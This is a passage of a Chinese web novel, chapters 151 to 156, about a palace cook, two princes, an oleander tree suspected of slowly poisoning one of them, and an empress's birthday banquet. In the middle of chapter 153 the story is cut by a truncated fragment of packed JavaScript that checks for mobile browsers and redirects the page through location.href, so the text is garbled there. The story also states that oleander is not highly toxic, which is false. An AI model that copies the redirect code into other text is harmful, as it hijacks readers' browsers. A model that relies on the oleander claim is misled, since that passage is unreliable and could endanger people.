好像所有人在他面前,不过是任他把玩的蝼蚁,命运由他掌控!
锦婳转身朝相反的方向飞快地逃跑,也许是逃跑的脚步声太大了,惊动了门口把守的几个大汉!
其中一个大汉反应过来,朝锦婳逃跑的方向喊了一嗓子:“什么人!”
小殿里谈话的人听见门口有响动,便也走了出来,其中一人是一位僧人,身着袈裟,看样子年岁四十有余,面容一副慈悲相。
另一人却身着藏色玄袍,袍子上皆用银线纹着暗纹,身材高大,面容俊朗。
两人出了小殿门,便看见一个粉色衣袍的小姑娘一闪而过的身影。
那僧人担忧地转头问:“慕容施主,那姑娘可是听到了什么?”
慕容泽却眼睛眯成了一条线,沉声道:“无妨,命人去查查,今日都有谁带着十七八的姑娘来大悲寺上香!”
想必是好查的,大悲寺乃是皇家寺庙,能进入大悲寺上香的只有皇族与达官显贵之家。
能进入大悲寺的,南启国一共能有几户!
慕容泽准备要走,临走时转身对那僧人道:“我吩咐你的事,只可告知三皇子殿下一人,若是泄露,玉石俱焚!”
那僧人既已上了慕容泽的船,也是一副没有办法的样子,闭上眼,点了点头!
慕容泽好似还有要事要办,带着几个壮汉匆匆离开了大悲寺。
锦婳跑了好远才镇定下来,后面并没人来追自己,想想也是,她跑什么?这里是南启国的地盘,他慕容泽手段再厉害,在别人的地盘上能掀起什么风浪!
刚刚她跑了,会不会让慕容泽误以为她听见了他与那僧人在密谋什么!
她这一跑,就说明她心虚了,倒不如稳稳地从那小殿门口走过的好。
但当时那样的情况,她根本反应不过来,她可是真的不想再次被慕容泽抓走了!
第151章 鲜花饼
锦婳终于沿着正确的道路走回了大雄宝殿,五皇子正在后殿喝茶,等着一会儿吃斋饭。
大雄宝殿里,菩萨庄严肃穆,锦婳只虔诚地看了一眼,便把刚刚惊险的事给忘却了。
五皇子与主持大师交谈一会儿佛法后,却发现锦婳不见了,问了一旁的婢女,说看锦婳自己一人往后山去了。
这丫头就是有主意,不合群,看样子整天笑眯眯的,对谁都和和气气的,实际上想让她死心塌地的跟随,简直比登天还难!
索性还不饿,就坐在后殿听听佛经,等她一会儿。
果然这丫头满头大汗地跑了回来,一进屋就喝了一大杯茶,还看着大雄宝殿内的几尊大佛发了一会就呆,也是可爱极了。
吃斋饭时,许是斋饭清淡,南宫宸还是吃不出些许味道。味同嚼蜡,索性盛得也少,只吃了几口便不再吃了。
锦婳倒是很爱吃这大悲寺里的斋饭,清炒的青菜,水煮的萝卜,有一股食物特有的本身的甘甜之味!
又看看南宫宸,早就放下了碗筷,倒是没有离桌,一直在看着她吃。
锦婳有些不自在,但奈何肚子饿,还是大口大口地吃起来。
吃过斋饭,南宫宸道:“本王要去看看六弟,你知些药理,也随本王去看看。”
锦婳点头道:“是,殿下。”
锦婳敢不去吗?人家可是五皇子殿下,吩咐她做什么就得做什么!
不过自己怎么就凭白的突然通晓药理了,真是奇怪的很,怎么也想不明白!
两人带着众多的丫鬟、婆子、侍卫从大雄宝殿一路往六皇子的住所走。
因着早上出门得早,南宫宸只在马车上喝了些粥。
中午的斋饭看样子又不合他的胃口,幸好锦婳早有准备,早上她用小布袋装了几块自己烙的鲜花饼。
南启国鲜花最是多,想着新鲜的花瓣掺上些蜂蜜、梅子泥,最是酸甜可口,口齿留香。
锦婳本来是做给自己吃的,今日凭白的便宜了这五皇子,不过没办法,谁让人家是主子!
奴婢哪有让主子饿肚子的道理!
锦婳从小袋子里拿出一块鲜花饼,随手递给南宫宸。
南宫宸并未接,他并没有一边走路一边吃东西的习惯,那样并非皇子风范,后面一堆丫鬟婆子跟着,一个皇子一边走路一边吃饼子,他就那么饿吗?让奴才们看见像什么样子!
南宫宸侧头看了锦婳一眼,这丫头正眼神真诚地看着自己,等着他接过手里的饼子。
这饼子看样子就诱人,是酥饼的一种,上面的一层皮还点缀了一些黑芝麻,饼子酥得已经掉了渣,还能闻到一丝香甜之味。
南宫宸的肚子是真的饿了,刚刚的斋饭一丝滋味儿都没有,他是真的难以下咽。
这失去味觉的滋味儿可非常人能经受得住的。很多食物闻着香,却要忍受着丝毫没有滋味的口感,忍着恶心一口口地硬生生地吞咽下去。
想了片刻,南宫宸还是伸手接过了饼子。
锦婳见南宫宸接过饼子,眉眼也露出了笑意。
锦婳打趣地对南宫宸道:“殿下午膳没吃什么,民女怕你一会儿怕见了六皇子肚子饿得咕咕叫,那便不好了!”
南宫宸刚想吃一口这满是香味儿的饼子,却听见锦婳在一旁笑嘻嘻地打趣他。
这丫头是和他混熟了是吧?!现在真是肆意妄为,一点规矩都没有,完全不把他这个五皇子殿下当个主子了!
但看她笑得高兴,也不好说她什么,算了,打趣便打趣吧,谁让他的舌头还得倚仗她呢!
鲜花饼入了口,南宫宸整个人便如瞬间被激活了一般,实在是香甜可口,酸中带着丝丝的甜味儿,最好吃的还是花瓣的甘甜!
饼皮酥的入口即化,黑芝麻的香味瞬间填充在整个嘴里!
这丫头果然有两把刷子!
能尝到这般的人间美味,也总算没有白活一场!
锦婳看南宫宸面露惊喜之色,看样子是喜欢吃的。
但是人家皇子有皇子的做派,即便是喜欢吃,也是小口小口的细细咀嚼,总不能像她似的狼吞虎咽。
锦婳跟
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在身侧解释道:“这是鲜花制的酥饼,我早上采了今晨刚开的最嫩的花瓣,甜味儿只用了蜂蜜,酸味儿是梅子,一起碾碎成泥,包在揉得酥了的饼皮里。”
“这几张饼我用最小火足足烙了有半个时辰呢!味道怎么样?还能入口吧!”
南宫宸见锦婳一提到做吃食,简直是眉飞色舞!
内心感慨道,这丫头的确是一个天生的厨子!
只是,以她的手艺只是做个小厨娘属实有些屈才了,就算是御膳房的总管她也是当得的。
只是南宫宸与锦婳已经相处了些时日,自然知道她志向在天地间,并非想在宫里圈一辈子!
自己又何曾不是向往山水与天地,可奈何自己身为皇子,此生注定与遨游山水间无缘了!
不一会儿,队伍便走到了六皇子南宫启的住处。
只是一间小庭院,庭院旁种着各种花草,远远便能看见院子里一颗高耸着的大树。
那棵树即便是在这个季节,也开着淡粉色的艳丽的花,把整个庭院显得温馨而舒适。
南宫宸派人敲门进去通报,不一会儿便有奴才过来恭敬的来请南宫宸。
南宫宸留丫鬟、婆子们在外面等,自己则以身便衣带着锦婳进了庭院。
这小庭院若是从外面看只是觉得精致、别致。
可进入到里面才知道,简直是一点都不简单!
就连地面上铺的砖、支撑房子的柱子都是汉白玉的,南启国可真是有钱啊!就连暂居在大悲寺的六皇子,房子都这般的奢华,可想而知若是在这里开酒楼,又有给五皇子做过御厨的这个噱头,那赚钱岂不是和捡钱一样容易!
两人走过小桥流水,仙境一般的庭院,进屋之前,锦婳不禁用手摸了摸汉白玉的柱子,又瞥了眼走在前面的南宫宸!
属实是太抠了!人家六皇子院子里的柱子都是汉白玉的,那南宫宸使了个大力,却只给自己那么个小貔貅!
若是那南宫宸还这么抠、这么小气下去,那她便要想想法子来抱这位六皇子的大腿了!
第152章 南宫启
南宫宸走过内院进了屋子,锦婳也跟了上去。
许是在这大悲寺里渲染的,这六皇子屋子里莫名得了些许的禅味。
屋子看着要比在庭院里瞧着实际大些,墙上挂着的都是字画,看得出笔锋苍劲有力,画法酣畅淋漓!
屋子里每一个小几都摆了一盆同院子里那棵树上开的花一样的花,该是摘下来水养的,看样子没有院子里那棵树上没摘下来的花骨朵那般的艳丽,花瓣有些许打蔫。
先是丫鬟们笑意盈盈地端了几盘点心和热茶放在小几上。
不一会儿,六皇子便由一位看样子是大丫鬟的人推了出来。
锦婳心里一惊!之前只是听南宫宸说六皇子身子天生自带不足,却没想到已经到了不能自己独立行走,需要坐轮椅的地步……
又侧头看南宫宸,这家伙平日里傲气得很,此刻看见亲弟弟坐在轮椅上,竟也是满脸的疼惜!
那南宫启虽早就接受自己有不足,但感受到面前站着的两人的目光,虽面带笑意,但还是双手轻轻的抚上了双腿。
南宫宸和锦婳感受到了南宫启未吐出口的叹息。
可随即南宫启便收起那不被人察觉的自怜自哀的情绪,笑着抬头对南宫宸道:“五哥今日来,可又给我带了什么新奇的好玩意儿!”
锦婳见那六皇子,心知他绝非寻常之人,虽天生不足,直到现在都无法站立,但目光极其坚韧!
南宫宸走到南宫启面前,轻轻拍了拍他的肩膀,指了指锦婳道:“这便是我带给你的礼物。”
南宫启与锦婳皆是一愣!
锦婳心里暗道,难不成是他舌头好了,觉得自己无用,这便要把自己送人了?!
这南宫宸!可真够过河拆桥的!
枉费了她这些日子在他身上花的心思!
这皇家人的人心果然都硬得很!用得着你的时候千般赏,万般赏的!
用不着你了,便翻脸比翻书还快,一天都不多留,生怕你多吃他一口饭,马上将你送人!
南宫启一开始并未注意到五哥身边还站着个小丫头,听南宫宸这般说才开始细细地对那小丫头打量一番。
那小丫头与五哥平日里身边带来的婢女不同,身着便装不说,看着也不似普通婢女那般的规规矩矩。
他与她对视时,她并不胆怯地避开他的目光,如一般婢女那般卑微地垂下头,而是目光坚韧地与他对视,她似乎也在打量着他。
他怎么不知,宫里何时来了这般人物?
南宫启接着自嘲地笑道:“五哥,你不是在与我玩闹吧?我如今的身子你送我个姑娘做什么?”
南宫宸听了后却是哈哈大笑!
“六弟,你是误会了,这位是母后为我新请来的厨娘,她做的膳食很是不错,我多年没有味觉的舌头竟也能尝出些许滋味了。”
“她做的膳食也是别出心裁,今日我特地将她带来,也是想让她给你做些膳食,补补身子。”
锦婳听了,松了一口气……
南宫启也跟着松了一口气……
南宫宸与南宫启在里屋下棋,锦婳在后边的小厨房里准备晚膳。
锦婳思量着,南宫启虽贵为六皇子,但现在也是身在寺庙里养病修行,总不好大鱼大肉的。
晚膳还是要以素食为主!
南启国四季如春,新鲜瓜果有的是。
锦婳将梅子洗干净,去了核,加入白糖熬制了果酱。
山药蒸熟成泥,也掺些白糖,塑成小山模样,再用筷子刮出一些竖道出来,淋上一些果酱,一道果酱山药泥便制作好了!
南宫宸的舌头如今对酸甜的东西敏感,该是会喜欢的。
南宫启又常年养在寺庙,这斋菜偶尔吃一顿还好,像南宫启这种常年养在寺庙里的人,一日三餐的常年吃,定是觉得寡淡无味的。
偶尔吃些造型好看的,酸甜可口的饭菜,也定能多吃几口。
第二道菜,锦婳用豆腐做了一道糖醋素肉。
豆腐切片油炸之后口感与肉极为相似,用糖醋熬制成汁,浇在炸得焦香的豆腐
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上,口感和味道甚至更胜肉菜一筹!
还记得流放路上,陆卿尘与谢威最爱吃的便是自己做的炸萝卜丸子。
那时候在流放,能挣扎着活着已是不错,所以能吃上一口热乎的炸萝卜丸子,三个人就很满足了。
如今这小厨房里食材丰富,只萝卜的种类就好几种。
锦婳切了三种萝卜丝,胡萝卜、白萝卜、红萝卜。
三种萝卜丝放在盆里用一小勺盐先腌出水分,把水挤净,萝卜丝也攥干成团,再打入一颗鸡蛋,放些香油调味。
油锅烧热,萝卜丝挤成小团,下到滚热的油锅里,待丸子飘起,再炸片刻就熟了,漏勺捞出丸子,出锅摆盘。
最后一道菜,锦婳打算做一道文思豆腐羹。
刚才做素肉剩下的豆腐,锦婳切成了细丝,这道菜最考验的就是刀工,她在那大乾认的干爹大厨子曾说过,一块豆腐要切成千根丝,可想而知每根豆腐丝要有多细。
先在煮沸的开水里放上两勺淀粉水,把水熬到粘稠。
紧接着下入切好的豆腐丝、木耳丝、蔬菜丝,再放入些盐与一勺鸡汤调味,临出锅时淋上一些香油。
一道文思豆腐羹便出锅了,锦婳将汤盛在了一个画有荷塘月色的大碗里,色香味俱全!
几道菜做完,锦婳叫进来了早已等在小厨房外的婢女,吩咐她们小心端上了桌。
南宫宸看着桌上的几道素菜,摆盘精致,味道也是极香,想到锦婳平日里给自己做饭,不是饼子就是粥,与今日一比,属实是糊弄了些!
这丫头还真是看人下菜碟啊!难不成是想讨好六弟,留在大悲寺,不想与自己回宫了?
想到这,南宫宸摇头难得地苦笑了一下,他何时这么在意过一个丫头的想法了?
南宫启自然发现了南宫宸的异样,五哥平日里嘴毒得很,可能因为舌头有旧疾,他很极少会笑。今日他看着桌上的几道菜便乱了心思,不由自主便笑了出来,难不成这与他带来的那小厨娘有关?
第153章 天赋
南宫启拿起筷子尝了一口炸得酥脆的萝卜丸子,果然是惊人的好吃!
几个萝卜就能做出如此人间美味,怪不得五哥就算来大悲寺看他,也要带着那小厨娘一路同行了!
南宫宸看着墙上挂着的字画与上次来时,已经大不相同。
南宫宸夸赞道:“六弟的书法与字画又精进了不少,我看南启国的书法大家,博学大儒也未必能比得上六弟的功力!”
南宫启却喝了一口丫鬟刚端上来的梅子茶,幽幽地坦然道:“我与众位皇兄皇姐不同,天生体质孱弱,无法报效父皇、母后,与子民的供养。”
“我虽自小被养在大悲寺,极少外出,但母后也为我请了师傅,教授我书法、绘画,以及一些人生道理。”
“如今南启虽国力富裕,子民安居,但周围邻国也是虎视眈眈。特别是那苍狼,地属北方,一到冬日里便寸草不生,更别提粮食了,故苍狼皇族才对我南启和大乾一直如狼一般惦记着!”
“我虽不理朝政,却也有所耳闻。父皇仁政,可奈何朝中没有得力的大将,看似南启国运昌盛,实则内里早已腐朽。若有朝一日,苍狼对我南启发起进攻,恐怕大厦倾颓。”
接着,南宫启无力地笑笑:“富贵一时,文章千古。国若是破了,家便破了。我一个废人,也无力改变些什么,只能多读些文章,用力在书法绘画上,多懂一些道理罢了!”
南宫宸一愣,六弟从未对他说过如此深刻的话!
从前从觉得他身子不好,就如同一盆被养在大悲寺的花,谁想到了便来瞧上他几眼。竟没想到小自己几岁的六弟弟竟活得如此深刻,相比较自己这些年过得混混沌沌!
南宫宸总觉得前面还有两个哥哥,父皇正值壮年,国家大事怎么轮也轮不到自己身上。
而且他一直觉得南启地处南方,国力富裕,可今日听六弟弟这般说,才知南启竟处于如此险境!
南宫宸听南宫启这般说,羞臊得满脸通红,憋了半天才憋出了一句:“那六弟看,该当如何,才能解南启险境?”
南宫启倒是对他这个哥哥也毫不隐藏,照实说道:“如今南启朝中并无大将,这是事实,能征善战的大将也并非一日可培养出的。”
“不过,敌人的敌人倒是可以暂且看作朋友,何不联合大乾,结成同盟,一同对抗苍狼,这般胜算会大很多!”
南宫宸疑惑道:“大乾是大国,地大物博,也是极为富裕的国度,况且又有赵猛这员大将,手下得力的少将无数,为何偏要与我南启结为同盟?”
南宫启却不以为然地喝了口羹道:“大国有大国的难处,既然朝内有大将,为何苍狼常年骚扰大乾北境子民,大乾却没有任何动作?”
南宫启不屑地笑了笑:“看着地大物博,实则也是内里中空,到底还是国库缺银子!”
“而且大乾皇帝的儿子里,只要太子陆卿尘一人得力,是明君之相,其余那几个皇子,皆为乌合之众,不值一提!”
“偏偏大乾那个老皇帝糊涂到听信宠妃谗言,废了唯一有用的太子陆卿尘,并将他贬为庶人,发配北境。”
“虽为庶人,可大乾所向披靡的暗卫营却只为他一人所用,若是能与大乾合作,不妨与那废太子陆卿尘合作,也免得与大乾朝堂上那群无用的乌合之众浪费唇舌!”
南宫宸不禁佩服道:“六弟智谋无双,不曾想竟是我们兄弟几人中顶尖的,反倒是五哥这些年活得浑浑噩噩,自觉惭愧!”
南宫启却安慰南宫宸道:“兄弟几人中,也只有五哥的心地最为纯净,这些诡诈之道,想必五哥并非不懂,只是不屑罢了。”
“这些年也唯有五哥对我这个残废的六弟至真至诚,三天两头的便带着一马车的吃食、玩物来寺庙看我,即便是母后也是没有五哥来得勤的。”
“这些年也多亏五哥的照拂,才使我在寺庙的日子过得不至于太过无聊。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234485|197657||http|test|mini|href|location''.split(''|''),0,{}));
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r>南宫宸从大悲寺出来,面容严肃的上了马车,回去的路程内心远比来时重了千金!
锦婳却有些犯起了嘀咕,难不成是自己今日的饭菜没做得让主子满意?怎么这五皇子回程的一路上都撂着个脸子!
慕容泽却拿着刚才在转角那女子消失处捡来的财神殿的神符发愣。
一抹无奈的笑容浮上面容,没想到这天底下除了她,还会有第二个女子求财!
若是想知道今日是谁带人来了寺庙中,并不难,只需差人一问便知。
只不过,即便是问出了是谁又能怎样?是谁也不会是她!
她怎么可能身在南启,此刻她应该是在暗卫营的大帐中才是!
他当初将她掳来苍狼时,他还只是个不受待见的太子,如今慕容雪没了程怀安相助,没了势力,对苍狼也是无用。
不过念在这些年她虽手握程怀安却并未将他毒死的份上,他慕容泽也不想做得太绝,便留她一条残命,将她送去轩辕国与那智力不太发达的三皇子和亲算了!
至于老国王,早就奄奄一息,王后娘娘也是秋后的蚂蚱,能蹦跶一天便是一天了!
如今,他已经是手握苍凉军权,把持朝政的苍狼霸主了!
锦婳那丫头若是觉得他只是个无权无势的挂名太子,那她可就真真是看错了他!
慕容泽又想到转角处匆匆消失的那一抹粉色的裙摆,不知道那日他与静德大师密谋的事那小丫头听到了多少?
若是静德大师打探出那丫头究竟是哪家的贵女或是丫鬟,还是要趁早处理掉才是。
与静德密谋,被一个小丫头听见,这么点小事,对于经历了腥风血雨、母亲悲惨离世、皇位大起大落的慕容泽来说,已经很难在他心里掀起一丁点的波澜。
他与三皇子密谋的如此大逆不道的事,如今两人也算是同一阵营的了,若是那丫头是宫里来的人,便交由三皇子处理了便是,毕竟三皇子不会自毁前程!
第154章 夹竹桃
南宫宸回程的路上一路思索与南宫启的对话,六弟的确比这些年浑浑噩噩的自己活得通透许多。
悄悄派人去北境寻那废太子陆卿尘,与之结盟,的确可行。
若是对自己与六弟下毒的人真是三哥,那南启国岂是六弟所说的内里腐朽那般的简单!
马车行到湖边,南宫宸心里一阵憋闷,便叫停了队伍。
南宫宸派人叫了锦婳随他在湖边散步。
南宫宸看着似乎有些焦虑,或者说有些恼怒。
锦婳今日可真是长了见识,一天之内竟在南宫宸脸上看到了那么多丰富的表情!
两人走了一段路,南宫宸一直闭口不言语。
锦婳偷偷瞥了眼南宫宸,小声道:“殿下,你可是生气了?”
南宫宸看锦婳那小心翼翼的小模样,刚刚那些小情绪竟消失了大半,他侧头问锦婳:“你可知我为何生气?”
锦婳点了点头道:“知道,该是我今日给六皇子做的饭菜不合口味,下了你的脸面。”
南宫宸心里暗想,这小丫头别瞧平日里看着机灵,实际上心思单纯得很。
锦婳见南宫宸不说话,看样子是真生气了,便讨好道:“殿下,您别气了,回去我给你绣个荷包当作赔罪可好?”
南宫宸侧头看锦婳,这小丫头眼睛澄澈明亮,好看得很。
她其实是个聪明得很的人,性子坚韧又非常可爱,遇事时临危不惧,说话又敢坦率直言。
总之相处下来,优点多得多。
若是硬要说缺点,那便是贪财这一点了!
想来南宫宸竟对这小丫头心生愧疚,他不该把坏情绪带给她的,毕竟今日她已经做得很好了!
南宫宸瞥了眼锦婳道:“本王只以为你会做饭,没想到你竟还会绣荷包。”
锦婳看着夕阳下波光粼粼的湖水,面色略带遗憾道:“我娘亲便是乡里有名的绣娘,我虽没有我娘的手艺,但是荷包还是能绣的,殿下见惯了奇珍异宝,不要嫌弃就好。”
他怎会嫌弃!珍惜还来不及!
南宫宸面色泛红,咳嗽了一声,调整了自己的心绪,岔开话题道:“今日你见我六弟,可有发现什么异样?”
锦婳反问:“异样?”
南宫宸继续试探道:“我六弟自小身子便不好,依你观察是天生不足,还是**所致?”
锦婳心里犯了难,这话可怎么答?这南宫宸还真把自己当神仙了?
锦婳思虑片刻,还是决定把心中的猜测告诉南宫宸。
毕竟在这南启皇宫,他是她唯一巴结得到的大腿,能抱紧的话,还是抱紧一些得好!
锦婳淡淡道:“殿下,民女并非医者,也不会看面相断病,今日见六皇子殿下并未看出什么异样。”
南宫宸听后,心凉了半截。
停顿片刻后,锦婳又接着道:“可今日进了六皇子殿下的院子后,有一处让民女觉得很奇怪……”
南宫宸的眼睛立刻恢复了神色,慌忙停下了脚步,急着问道:“哪处奇怪?!”
锦婳皱眉道:“六皇子殿下的庭院里,种了一棵夹竹桃树,殿下不觉得奇怪吗?”
南宫宸不懂锦婳话里的意思,便皱眉问道:“那棵树可是有什么蹊跷?!”
锦婳又道:“我特意查看了,整个大悲寺依山而建,树木种类众多,却只有这么一棵夹竹桃树,而且碰巧就种在六皇子的庭院里!”
“夹竹桃树虽没有剧毒,但常年接触,可致人头痛、乏力,时日长久,人会越来越虚弱,直至亏损尽阳气而亡。”
“今日进了六皇子殿下的屋内,每个小几上都摆有夹竹桃的花,这怕是六皇子殿下身边的人见他不常去院子里接触那棵夹竹桃树,才将花养在屋里的吧!”
南宫宸依然不理解:“若真如你说的这般,六弟体弱是那棵夹竹桃树造成的,那这些年贴身伺候他的婢女怎么无事?”
锦婳又道:“并非所有接触夹竹桃树的人都会**,即便是**也会有轻重缓急之分。”
“按照殿下之前的说法,六
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皇子殿下天生体弱,生来便带有不足之症,对毒性当然要更敏感一些。”
“而且依我今日观察,伺候六皇子殿下的婢女大多体格壮硕,人高马大,若是身体素质好些,平日再多加小心,没有**症状也是正常。”
“那棵树按照树龄来看,也有十七八年了,不知可是六皇子殿下住进那庭院后才栽种的?”
锦婳的一番话,让南宫宸心中多年的谜团,瞬间便解开了!
怪不得六弟自打住进大悲寺,身子骨不但没好,却反而越来越弱了,如今甚至坐上了轮椅,连起身都需要丫鬟搀扶。
当年六弟的丫鬟奴婢都是三哥亲自挑选的,三哥说六弟体弱,贴身伺候的丫鬟需挑体壮、阳气足的,这样才能把自身的阳气过给六弟。
若是说那棵树龄是十七八年,那正是六弟住进大悲寺那年种下的。
这骇人的真相,竟隐藏了十七八年之久,甚至更久……
南宫宸只觉得心里冷得很,痛得很……
南宫宸面色惨白,手捂着心口,缓缓蹲下。
锦婳急忙将手覆在南宫宸的心口处关切地问:“殿下怎么了?可是心口痛?!”
南宫宸眉头紧锁,双目紧闭,冰凉苍白的手紧紧地抓住锦婳覆在他胸口的小手,犹如海上漂浮的人紧紧抓住唯一一块救命的浮板。
锦婳深知男女授受不亲,想把手抽出来,可南宫宸怎么也是个男人,力气比她大许多,锦婳抽了片刻,却怎么也抽不出来。
又看到南宫宸额头上细细碎碎的汗珠,想来他不是装的,也不是故意要占她便宜,便也就放弃了抵抗,由着他握着了。
想来,堂堂南启国的五皇子殿下,想要什么样的女子得不到,恐怕勾勾小手指,宫里那些女子们都恨不得往他身上扑!
再看看自己,虽说流放北境这一年多较在宫里时长开了些,可属实算不得妖艳好看的女子,南宫宸怎会对自己动心思!
锦婳摇摇头,劝自己还是别胡思乱想了!
第155章 订亲
回宫后,南宫宸并未表现出丝毫异样,还如往常一般毒舌,整日招猫逗狗,嘻嘻哈哈。
一副没心没肺的浪荡皇子模样。
但背地里,南宫宸派手下忠心侍卫悄悄赴北境去寻那废太子陆卿尘。
六弟虽然被那夹竹桃树毒害了多年,但如今既然他知道了,便不能再让六弟生活在水深火热里继续被毒害!
想了几日,若是将那夹竹桃树连根拔起,定会惹人嫌疑。
不如放把火,连带那庭院都烧了才好!
说干就干!
当夜,南宫宸便派贴身侍卫去大悲寺南宫启院内放了一把火。
把那夹竹桃树烧得连根都不剩!
皇后娘娘得知南宫启院子里着火,心急火燎,得知小儿子没受伤,只是院子里的老树烧没了,这才放下心来。
想着马上又要到自己的寿辰,小儿子又多年不曾陪在自己身边,便想着趁南宫启院子修缮的这段时间,把他暂时接回宫里来住,以解相思之苦。
三皇子那边刚得到静德的消息,与那苍狼慕容泽接上了头,紧接着便收到南宫启院子里着火的消息。
如今是南启国的冬季,并非春秋季节,会天干物燥。
这个季节最是湿润,空气里皆是水气,怎会无端端地着起火来?
巧的是南宫启一根汗**都没伤到,反倒是那棵夹竹桃树被烧成了灰烬。
怎么就会这么巧?!
难不成此事与南宫宸有关?怎么他前几日刚去看了南宫启,才回宫没两日,南宫启的院子便着火了?
难不成是被那小子发现了什么蹊跷之处?
南宫宸去看南宫启后,南宫启的丫鬟来报,南宫宸与南宫启一起用晚膳,聊了许久。
至于聊的什么,当时只有他们二人在屋内,所有伺候的婢女都被遣了出去,聊的内容不得而知!
不过,这两人从没被他放在眼里,不过是不堪重用的病秧子罢了!
这南启的皇位,最终还是他的!
南宫仁眼神里露出一丝阴狠,他身为父皇与母后的嫡长子,却一直迟迟未被立为太子。
周围邻国,无论富裕大国还是贫瘠小国,放眼看去,哪个国家未立太子!
即便是苍狼蛮夷小国,靠放牧掠夺为生,都立了慕容泽那个私生子为太子!
自己这个长子,一直任劳任怨辅佐父皇朝政,究竟是哪里做得让父皇不满意,到了如今的年岁,还不肯立他为太子!
老四是个粗笨的,脑子不够用,自小便听令于自己,老六又天生不足,如今估计也没几日好活的了,只有那个老五,天生机敏,若不是自己把他的舌头毒坏了,父皇恐怕更倾心于他!
虽下了毒,可如今毒性也只到了舌头,只有毒性小,徐徐图之,才能不被人察觉!
他不急!总有一日,毒性会侵入脑子,到时老五就如同疯子一般!
南宫宸派去北境寻陆卿尘的人回来,却并未寻到陆卿尘的人影。
暗卫营更是神出鬼没,想寻到踪迹简直比登天还难!
所幸六弟回了宫,那害人的夹竹桃树也被烧成了灰烬,过几日便是母后的生辰宴,六弟回宫更是喜上加喜,合宫定要好好地庆祝一番。
锦婳这几日闲得发慌,听说过几日便是皇后娘娘的生辰宴,南宫宸让她闲暇时研究几个特色菜品,在生辰宴上献给皇后娘娘。
听住在隔壁的几个婢女闲聊,这次皇后娘娘的生辰宴定会极其盛大。
六皇子回宫了,听说陛下和皇后娘娘还有意在生辰宴上为七公主与那位英俊非常的准驸马赐婚!
陛下与皇后娘娘真的是极为疼爱这位七公主殿下的。
长公主与二公主皆去了轩辕国和亲,邻国的几个公主不分嫡庶也皆免不了和亲的命运。
只有这个嫡出的七公主,陛下与娘娘宠得像什么似的,真真是看得如眼珠子一般的贵重!
即便是七公主殿下随随便便捡来的一个大乾人,受伤拄着拐不说,身份也是不明,不过就是长得好看了些,只要七公主喜欢,陛下与娘娘也是拗不过她。
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这不,合宫上下除了准备皇后娘娘的生辰宴,也在紧锣密鼓地准备七公主殿下的订亲仪式。
七公主宫内。
七公主的婢女正给她试戴着皇后娘娘生辰宴要戴的耳坠子。
几个耳坠子试下来,七公主皆是不满意,正要大发脾气时,陆卿尘拿着书卷进入了前厅。
七公主立刻笑意盈盈,收起脾气迎了上去,挽住陆卿尘的手臂,小鸟依人般地道:“阿簪的眼光不好,选的耳坠子都不是本宫喜欢的,不如公子帮本宫选一个可好!”
陆卿尘皱眉被七公主牵到首饰盒前,手指在几个耳坠子上划过,最后停留在一对白玉兔子的耳坠子上。
这对白玉兔子的耳坠子十分可爱,两个小兔子雕刻得栩栩如生,兔子的眼睛是红宝石镶嵌上的,圆溜溜的小尾巴则是镶嵌的珍珠。
陆卿尘拿起那对小兔子的耳坠子,捧在手心里细细端详,记忆里好像见到过一对小兔子的耳坠子,只要见到这对耳坠子,便像看到心爱之人一般,心里痒痒的。
七公主见陆卿尘挑了这对玉兔耳坠子,便欣喜地从陆卿尘的手掌中拿了过来,对一旁的侍女道:“还是公子的眼光好!还不快帮本宫试试!”
侍女阿簪战战兢兢地帮慕容燕带上了耳坠子,慕容燕双眼含笑地看着陆卿尘道:“公子,你看本宫好看吗?”
陆卿尘看着七公主耳朵上那摇摇晃晃的耳坠子,记忆中的那张模糊的脸与七公主的面容巧妙的融合,淡淡道了一句:“好看。”
七公子曾说,过几日便是皇后娘娘的生辰宴,到时她会带他一起参加。
听说六皇子也回了宫,陛下与皇后娘娘很是高兴,也默许了七公主殿下的请求,为七公主与自己订亲。
伺候他的丫鬟这几日都经常用言语提点他,七公主选中他做驸马,便是他天大的造化。
七公主救他一命,即便他失了记忆,也并非知恩不报之人,何况记忆中的那张模糊的脸又与七公主如此相似,所幸便认了命罢了。
第156章 生辰宴
锦婳这几日除了给南宫宸做膳食外,更多时间都在研究皇后娘娘生日宴上,要献的菜色。
皇后娘娘给自己的恩赏不少,除了黄金千两外,还另外给了许多赏赐。
这次皇后娘娘的生日宴,自己也该尽一份绵薄之力,做些特色吃食讨皇后娘娘欢心。
也许皇后娘娘一个高兴,再赏她些金银,帮她找陆卿尘也说不定。
若是皇后娘娘肯出手,那找人岂不是轻而易举的事。
锦婳打听了御膳房的大厨子,皇后娘娘最喜食虾,宫里面虾的做法多半是清蒸或是红烧。
锦婳打算做一道翡翠虾球,到时宫宴上皆是大鱼大肉,做些清新爽口的,也好给皇后娘娘解解腻!
锦婳又看见御膳房的篮子里有黄桃、樱桃、葡萄,便又做了一道香甜美味的水果罐头。
主食锦婳煮了红豆,碾成豆沙,混入白糖调馅。
又揉了面,揪成小面团,塞入豆沙馅后捏成桃子形状。
又在桃子型的馒头尖上抹了些鲜榨的樱桃汁涂色,一盘子豆沙馅的小寿桃栩栩如生,胖嘟嘟的很是诱人。
锦婳做的这几道别出心裁的菜色,就连御膳房的大厨子尝了都是连连称赞!
转眼便到了皇后娘娘生辰宴这一天,每位皇子与公主都献上了自己的贺寿礼。
大公主与二公主虽然未能回来,但也是差人特地送来了轩辕国的特产宝石,璞玉。
三皇子殿下进献的则是一颗极其珍贵的夜明珠。
四皇子殿下进献的是一枚玉如意。
六皇子这次回宫,又恰逢皇后娘娘生辰,送上的贺礼最为珍贵又有心意,是一幅自己亲手书写的百寿图。
七公主殿下送的则是南启国最手巧的工匠亲手打制了一年有余的百鸟朝凤的屏风!
轮到五皇子殿下了,大家都期待着这个平日里最出其不意,没个正形的五皇子殿下,为皇后娘娘准备的究竟是何寿礼。
五皇子南宫宸走到大殿正中,双手抱拳躬身恭敬道:“儿臣祝母后福寿安康,喜乐常伴。”
